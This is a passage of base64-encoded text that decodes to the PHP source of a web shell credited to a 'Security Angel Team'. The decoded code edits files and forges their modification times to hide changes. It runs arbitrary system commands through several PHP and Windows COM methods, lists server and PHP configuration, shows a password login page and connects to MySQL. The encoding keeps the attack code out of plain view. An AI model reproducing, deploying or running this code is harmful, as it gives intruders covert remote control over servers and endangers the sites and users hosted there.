  766. YXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9
  767. PiRjb250ZW50cykpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBlZGl0ZmlsZQ0KDQplbHNlaWYg
  768. KCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7DQoJJG9wZmlsZW10aW1lID0gQGZpbGVtdGltZSgkb3Bm
  769. aWxlKTsNCgkvLyR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWlu
  770. dXRlOiRzZWNvbmQiKTsNCgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVh
  771. cnknPT4yLCdNYXJjaCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43
  772. LCdBdWd1c3QnPT44LCdTZXB0ZW1iZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEs
  773. J0RlY2VtYmVyJz0+MTIpOw0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDbG9uZSBmaWxlIHdh
  774. cyBsYXN0IG1vZGlmaWVkIHRpbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCglt
  775. YWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidBbHRl
  776. ciBmaWxlJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCdu
  777. ZXdsaW5lJz0+MSkpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUmVmZXJlbmNlIGZpbGUg
  778. KGZ1bGxwYXRoKScsJ25hbWUnPT4ndGFyZmlsZScsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7
  779. DQoJZm9ybWZvb3RlcigpOw0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXQgbGFzdCBtb2Rp
  780. ZmllZCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRu
  781. b3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgZmlsZSAoZnVsbHBh
  782. dGgpJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXds
  783. aW5lJz0+MSkpOw0KCXAoJzxwPkluc3RlYWQgJnJhcXVvOycpOw0KCXAoJ3llYXI6Jyk7DQoJbWFr
  784. ZWlucHV0KGFycmF5KCduYW1lJz0+J3llYXInLCd2YWx1ZSc9PmRhdGUoJ1knLCRvcGZpbGVtdGlt
  785. ZSksJ3NpemUnPT40KSk7DQoJcCgnbW9udGg6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+
  786. J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAo
  787. J2RheTonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGF5JywndmFsdWUnPT5kYXRlKCdk
  788. Jywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ2hvdXI6Jyk7DQoJbWFrZWlucHV0KGFy
  789. cmF5KCduYW1lJz0+J2hvdXInLCd2YWx1ZSc9PmRhdGUoJ0gnLCRvcGZpbGVtdGltZSksJ3NpemUn
  790. PT4yKSk7DQoJcCgnbWludXRlOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUn
  791. LCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnc2Vjb25k
  792. OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzZWNvbmQnLCd2YWx1ZSc9PmRhdGUoJ3Mn
  793. LCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290ZXIoKTsN
  794. Cn0vL2VuZCBuZXd0aW1lDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc2hlbGwnKSB7DQoJaWYgKElT
  795. X1dJTiAmJiBJU19DT00pIHsNCgkJaWYoJHByb2dyYW0gJiYgJHBhcmFtZXRlcikgew0KCQkJJHNo
  796. ZWxsPSBuZXcgQ09NKCdTaGVsbC5BcHBsaWNhdGlvbicpOw0KCQkJJGEgPSAkc2hlbGwtPlNoZWxs
  797. RXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsNCgkJCW0oJ1Byb2dyYW0gcnVuIGhhcyAnLigh
  798. JGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsNCgkJfQ0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0g
  799. PSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsNCgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFt
  800. ZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOw0KCQlmb3JtaGVhZChh
  801. cnJheSgndGl0bGUnPT4nRXhlY3V0ZSBQcm9ncmFtJykpOw0KCQltYWtlaGlkZSgnYWN0aW9uJywn
  802. c2hlbGwnKTsNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidw
  803. cm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsNCgkJcCgnPHA+Jyk7DQoJ
  804. CW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXIn
  805. LCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsNCgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1p
  806. dCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0K
  807. CQlwKCc8L3A+Jyk7DQoJCWZvcm1mb290KCk7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9
  808. PidFeGVjdXRlIENvbW1hbmQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoJaWYg
  809. KElTX1dJTiAmJiBJU19DT00pIHsNCgkJJGV4ZWNmdW5jZGIgPSBhcnJheSgncGhwZnVuYyc9Pidw
  810. aHBmdW5jJywnd3NjcmlwdCc9Pid3c2NyaXB0JywncHJvY19vcGVuJz0+J3Byb2Nfb3BlbicpOw0K
  811. CQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29w
  812. dGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsN
  813. Cgl9DQoJcCgnPHA+Jyk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFt
  814. ZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFt
  815. ZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhl
  816. Y3V0ZScpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCg0KCWlmICgkY29tbWFuZCkgew0K
  817. CQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOw0KCQlpZiAoJGV4ZWNmdW5j
  818. PT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJHdzaCA9IG5ldyBDT00oJ1dT
  819. Y3JpcHQuc2hlbGwnKTsNCgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21t
  820. YW5kKTsNCgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7DQoJCQkkc3Ryb3V0cHV0ID0gJHN0
  821. ZG91dC0+UmVhZEFsbCgpOw0KCQkJZWNobyAkc3Ryb3V0cHV0Ow0KCQl9IGVsc2VpZiAoJGV4ZWNm
  822. dW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkZGVzY3JpcHRvcnNw
  823. ZWMgPSBhcnJheSgNCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLA0KCQkJICAgMSA9PiBh
  824. cnJheSgncGlwZScsICd3JyksDQoJCQkgICAyID0+IGFycmF5KCdwaXBlJywgJ3cnKQ0KCQkJKTsN
  825. CgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9y
  826. c3BlYywgJHBpcGVzKTsNCgkJCWlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCgkJCQlmd3Jp
  827. dGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOw0KCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICJl
  828. eGl0XHJcbiIpOw0KCQkJCWZjbG9zZSgkcGlwZXNbMF0pOw0KCQkJCXdoaWxlICghZmVvZigkcGlw
  829. ZXNbMV0pKSB7DQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsNCgkJCQl9DQoJCQkJ
  830. ZmNsb3NlKCRwaXBlc1sxXSk7DQoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsNCgkJCQkJ
  831. ZWNobyBmZ2V0cygkcGlwZXNbMl0sIDEwMjQpOw0KCQkJCX0NCgkJCQlmY2xvc2UoJHBpcGVzWzJd
  832. KTsNCgkJCQlwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCgkJCX0NCgkJfSBlbHNlIHsNCgkJCWVjaG8o
  833. ZXhlY3V0ZSgkY29tbWFuZCkpOw0KCQl9DQoJCXAoJzwvcHJlPicpOw0KCX0NCn0vL2VuZCBzaGVs
  834. bA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3BocGVudicpIHsNCgkkdXBzaXplPWdldGNmZygnZmls
  835. ZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dl
  836. ZCc7DQoJJGFkbWlubWFpbD1pc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJW
  837. RVJbJ1NFUlZFUl9BRE1JTiddIDogZ2V0Y2ZnKCdzZW5kbWFpbF9mcm9tJyk7DQoJISRkaXNfZnVu
  838. YyAmJiAkZGlzX2Z1bmMgPSAnTm8nOwkNCgkkaW5mbyA9IGFycmF5KA0KCQkxID0+IGFycmF5KCdT
  839. ZXJ2ZXIgVGltZScsZGF0ZSgnWS9tL2QgaDppOnMnLCR0aW1lc3RhbXApKSwNCgkJMiA9PiBhcnJh
  840. eSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLA0KCQkzID0+IGFycmF5
  841. KCdTZXJ2ZXIgSVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJ
  842. NCA9PiBhcnJheSgnU2VydmVyIE9TJyxQSFBfT1MpLA0KCQk1ID0+IGFycmF5KCdTZXJ2ZXIgT1Mg
  843. Q2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KCQk2ID0+IGFycmF5
  844. KCdTZXJ2ZXIgU29mdHdhcmUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCTcgPT4g
  845. YXJyYXkoJ1NlcnZlciBXZWIgUG9ydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KCQk4ID0+
  846. IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksDQoJCTkg
  847. PT4gYXJyYXkoJ1RoZSBmaWxlIHBhdGgnLF9fRklMRV9fKSwNCg0KCQkxMCA9PiBhcnJheSgnUEhQ
  848. IFZlcnNpb24nLFBIUF9WRVJTSU9OKSwNCgkJMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJ
  849. TkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oXCdwaHBpbmZvXCcpOyI+WWVzPC9h
  850. PicgOiAnTm8nKSksDQoJCTEyID0+IGFycmF5KCdTYWZlIE1vZGUnLGdldGNmZygnc2FmZV9tb2Rl
  851. JykpLA0KCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksDQoJCTE0ID0+
  852. IGFycmF5KCdhbGxvd191cmxfZm9wZW4nLGdldGNmZygnYWxsb3dfdXJsX2ZvcGVuJykpLA0KCQkx
  853. NSA9PiBhcnJheSgnZW5hYmxlX2RsJyxnZXRjZmcoJ2VuYWJsZV9kbCcpKSwNCgkJMTYgPT4gYXJy
  854. YXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLA0KCQkxNyA9PiBh
  855. cnJheSgncmVnaXN0ZXJfZ2xvYmFscycsZ2V0Y2ZnKCdyZWdpc3Rlcl9nbG9iYWxzJykpLA0KCQkx
  856. OCA9PiBhcnJheSgnbWFnaWNfcXVvdGVzX2dwYycsZ2V0Y2ZnKCdtYWdpY19xdW90ZXNfZ3BjJykp
  857. LA0KCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwN
  858. CgkJMjAgPT4gYXJyYXkoJ3Bvc3RfbWF4X3NpemUnLGdldGNmZygncG9zdF9tYXhfc2l6ZScpKSwN
  859. CgkJMjEgPT4gYXJyYXkoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCR1cHNpemUpLA0KCQkyMiA9PiBh
  860. cnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicg
  861. c2Vjb25kKHMpJyksDQoJCTIzID0+IGFycmF5KCdkaXNhYmxlX2Z1bmN0aW9ucycsJGRpc19mdW5j
  862. KSwNCgkpOw0KDQoJaWYoJHBocHZhcm5hbWUpIHsNCgkJbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0
  863. Y2ZnKCRwaHB2YXJuYW1lKSk7DQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NlcnZl
  864. ciBlbnZpcm9ubWVudCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7DQoJbWFrZWlu
  865. cHV0KGFycmF5KCd0aXRsZSc9PidQbGVhc2UgaW5wdXQgUEhQIGNvbmZpZ3VyYXRpb24gcGFyYW1l
  866. dGVyKGVnOm1hZ2ljX3F1b3Rlc19ncGMpJywnbmFtZSc9PidwaHB2YXJuYW1lJywndmFsdWUnPT4k
  867. cGhwdmFybmFtZSwnbmV3bGluZSc9PjEpKTsNCglmb3JtZm9vdGVyKCk7DQoNCgkkaHAgPSBhcnJh
  868. eSgwPT4gJ1NlcnZlcicsIDE9PiAnUEhQJyk7DQoJZm9yKCRhPTA7JGE8MjskYSsrKSB7DQoJCXAo
  869. JzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsNCgkJcCgnPHVsIGNsYXNzPSJpbmZvIj4n
  870. KTsNCgkJaWYgKCRhPT0wKSB7DQoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7DQoJCQkJcCgnPGxp
  871. Pjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KCQkJfQ0K
  872. CQl9IGVsc2VpZiAoJGEgPT0gMSkgew0KCQkJZm9yKCRpPTEwOyRpPD0yMzskaSsrKSB7DQoJCQkJ
  873. cCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0K
  874. CQkJfQ0KCQl9DQoJCXAoJzwvdWw+Jyk7DQoJfQ0KfS8vZW5kIHBocGVudg0KDQplbHNlIHsNCglt
  875. KCdVbmRlZmluZWQgQWN0aW9uJyk7DQp9DQoNCj8+DQo8L3RkPjwvdHI+PC90YWJsZT4NCjxkaXYg
  876. c3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmO2JvcmRlci10
  877. b3A6MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZWVlOyI+DQoJPHNwYW4gc3R5bGU9ImZsb2F0
  878. OnJpZ2h0OyI+PD9waHAgZGVidWdpbmZvKCk7b2JfZW5kX2ZsdXNoKCk7Pz48L3NwYW4+DQoJQ29w
  879. eXJpZ2h0IChDKSAyMDA0LTIwMDggPGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQiIHRhcmdl
  880. dD0iX2JsYW5rIj5TZWN1cml0eSBBbmdlbCBUZWFtIFtTNFRdPC9hPiBBbGwgUmlnaHRzIFJlc2Vy
  881. dmVkLg0KPC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwDQoNCi8qPT09PT09PT09PT09
  882. PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQq6r8r9v+INCj09PT09
  883. PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovDQoNCmZ1
  884. bmN0aW9uIG0oJG1zZykgew0KCWVjaG8gJzxkaXYgc3R5bGU9ImJhY2tncm91bmQ6I2YxZjFmMTti
  885. b3JkZXI6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzoxNXB4O2ZvbnQ6MTRweDt0ZXh0LWFsaWduOmNl
  886. bnRlcjtmb250LXdlaWdodDpib2xkOyI+JzsNCgllY2hvICRtc2c7DQoJZWNobyAnPC9kaXY+JzsN
  887. Cn0NCmZ1bmN0aW9uIHNjb29raWUoJGtleSwgJHZhbHVlLCAkbGlmZSA9IDAsICRwcmVmaXggPSAx
  888. KSB7DQoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7DQoJJGtleSA9ICgkcHJl
  889. Zml4ID8gJGFkbWluWydjb29raWVwcmUnXSA6ICcnKS4ka2V5Ow0KCSRsaWZlID0gJGxpZmUgPyAk
  890. bGlmZSA6ICRhZG1pblsnY29va2llbGlmZSddOw0KCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZF
  891. Ul9QT1JUJ10gPT0gNDQzID8gMSA6IDA7DQoJc2V0Y29va2llKCRrZXksICR2YWx1ZSwgJHRpbWVz
  892. dGFtcCskbGlmZSwgJGFkbWluWydjb29raWVwYXRoJ10sICRhZG1pblsnY29va2llZG9tYWluJ10s
  893. ICR1c2Vwb3J0KTsNCn0JDQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2Us
  894. ICR0YWJsZW5hbWUpIHsNCgkkbXVsdGlwYWdlID0gJyc7DQoJaWYoJG51bSA+ICRwZXJwYWdlKSB7
  895. DQoJCSRwYWdlID0gMTA7DQoJCSRvZmZzZXQgPSA1Ow0KCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8g
  896. JHBlcnBhZ2UpOw0KCQlpZigkcGFnZSA+ICRwYWdlcykgew0KCQkJJGZyb20gPSAxOw0KCQkJJHRv
  897. ID0gJHBhZ2VzOw0KCQl9IGVsc2Ugew0KCQkJJGZyb20gPSAkY3VycGFnZSAtICRvZmZzZXQ7DQoJ
  898. CQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNldCAtIDE7DQoJCQlpZigkZnJvbSA8IDEp
  899. IHsNCgkJCQkkdG8gPSAkY3VycGFnZSArIDEgLSAkZnJvbTsNCgkJCQkkZnJvbSA9IDE7DQoJCQkJ
  900. aWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCgkJ
  901. CQkJJHRvID0gJHBhZ2U7DQoJCQkJfQ0KCQkJfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7DQoJCQkJ
  902. JGZyb20gPSAkY3VycGFnZSAtICRwYWdlcyArICR0bzsNCgkJCQkkdG8gPSAkcGFnZXM7DQoJCQkJ
  903. aWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCgkJ
  904. CQkJJGZyb20gPSAkcGFnZXMgLSAkcGFnZSArIDE7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRtdWx0
  905. aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFnZSA/ICc8YSBo
  906. cmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgMSk7Ij5G
  907. aXJzdDwvYT4gJyA6ICcnKS4oJGN1cnBhZ2UgPiAxID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0
  908. dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSAtIDEpLicpOyI+UHJl
  909. djwvYT4gJyA6ICcnKTsNCgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgew0KCQkJ
  910. JG11bHRpcGFnZSAuPSAkaSA9PSAkY3VycGFnZSA/ICRpLicgJyA6ICc8YSBocmVmPSJqYXZhc2Ny
  911. aXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kaS4nKTsiPlsnLiRpLidd
  912. PC9hPiAnOw0KCQl9DQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhy
  913. ZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3Vy
  914. cGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9
  915. ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4n
  916. KTsiPkxhc3Q8L2E+JyA6ICcnKTsNCgkJJG11bHRpcGFnZSA9ICRtdWx0aXBhZ2UgPyAnPHA+UGFn
  917. ZXM6ICcuJG11bHRpcGFnZS4nPC9wPicgOiAnJzsNCgl9DQoJcmV0dXJuICRtdWx0aXBhZ2U7DQp9
  918. DQovLyC1x8K9yOu/2g0KZnVuY3Rpb24gbG9naW5wYWdlKCkgew0KPz4NCgk8c3R5bGUgdHlwZT0i
  919. dGV4dC9jc3MiPg0KCWlucHV0IHtmb250OjExcHggVmVyZGFuYTtCQUNLR1JPVU5EOiAjRkZGRkZG
  920. O2hlaWdodDogMThweDtib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30NCgk8L3N0eWxlPg0KCTxm
  921. b3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KCTxzcGFuIHN0eWxlPSJmb250OjExcHggVmVy
  922. ZGFuYTsiPlBhc3N3b3JkOiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNz
  923. d29yZCIgc2l6ZT0iMjAiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvaW5nIiB2YWx1
  924. ZT0ibG9naW4iPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQoJPC9mb3Jt
  925. Pg0KPD9waHANCglleGl0Ow0KfS8vZW5kIGxvZ2lucGFnZSgpDQoNCmZ1bmN0aW9uIGV4ZWN1dGUo
  926. JGNmZSkgew0KCSRyZXMgPSAnJzsNCglpZiAoJGNmZSkgew0KCQlpZihmdW5jdGlvbl9leGlzdHMo
  927. J2V4ZWMnKSkgew0KCQkJQGV4ZWMoJGNmZSwkcmVzKTsNCgkJCSRyZXMgPSBqb2luKCJcbiIsJHJl
  928. cyk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQoJCQkkcmVz
  929. ID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVt
  930. JykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHN5c3RlbSgkY2ZlKTsNCgkJCSRyZXMgPSBAb2Jf
  931. Z2V0X2NvbnRlbnRzKCk7DQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9u
  932. X2V4aXN0cygncGFzc3RocnUnKSkgew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNm
  933. ZSk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0K
  934. CQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KCQkJJHJl
  935. cyA9ICcnOw0KCQkJd2hpbGUoIUBmZW9mKCRmKSkgew0KCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEw
  936. MjQpOyANCgkJCX0NCgkJCUBwY2xvc2UoJGYpOw0KCQl9DQoJfQ0KCXJldHVybiAkcmVzOw0KfQ0K
  937. ZnVuY3Rpb24gd2hpY2goJHByKSB7DQoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsNCgly
  938. ZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOyANCn0NCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0
  939. ZXh0KXsNCglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7DQoJCUBmcHV0cygkZnAsQGJhc2U2
  940. NF9kZWNvZGUoJHRleHQpKTsNCgkJQGZjbG9zZSgkZnApOw0KCX0NCn0NCg0KLy8g0rPD5rX3ytTQ
  941. xc+iDQpmdW5jdGlvbiBkZWJ1Z2luZm8oKSB7DQoJZ2xvYmFsICRzdGFydHRpbWU7DQoJJG10aW1l
  942. ID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkkdG90YWx0aW1lID0gbnVtYmVyX2Zvcm1h
  943. dCgoJG10aW1lWzFdICsgJG10aW1lWzBdIC0gJHN0YXJ0dGltZSksIDYpOw0KCWVjaG8gJ1Byb2Nl
  944. c3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOw0KfQ0KDQovL8GsvdPK/b7dv+INCmZ1
  945. bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0
  946. PScnLCRkYnBvcnQ9JzMzMDYnKSB7DQoJaWYoISRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJGRiaG9z
  947. dC4nOicuJGRicG9ydCwgJGRidXNlciwgJGRicGFzcykpIHsNCgkJcCgnPGgyPkNhbiBub3QgY29u
  948. bmVjdCB0byBNeVNRTCBzZXJ2ZXI8L2gyPicpOw0KCQlleGl0Ow0KCX0NCglpZigkbGluayAmJiAk
  949. ZGJuYW1lKSB7DQoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsNCgkJ
  950. CXAoJzxoMj5EYXRhYmFzZSBzZWxlY3RlZCBoYXMgZXJyb3I8L2gyPicpOw0KCQkJZXhpdDsNCgkJ
  951. fQ0KCX0NCglpZigkbGluayAmJiBteXNxbF9nZXRfc2VydmVyX2luZm8oKSA+ICc0LjEnKSB7DQoJ
  952. CWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAn
  953. dXRmOCcpKSkgew0KCQkJcSgiU0VUIGNoYXJhY3Rlcl9zZXRfY29ubmVjdGlvbj0kY2hhcnNldCwg
  954. Y2hhcmFjdGVyX3NldF9yZXN1bHRzPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X2NsaWVudD1iaW5h
  955. cnk7IiwgJGxpbmspOw0KCQl9DQoJfQ0KCXJldHVybiAkbGluazsNCn0NCg0KLy8gyKW19Neq0uXX
  956. 1rf7DQpmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsNCglpZiAoaXNfYXJyYXkoJGFycmF5KSkg
  957. ew0KCQlmb3JlYWNoICgkYXJyYXkgYXMgJGsgPT4gJHYpIHsNCgkJCSRhcnJheVska10gPSBzX2Fy
  958. cmF5KCR2KTsNCgkJfQ0KCX0gZWxzZSBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHsNCgkJJGFycmF5
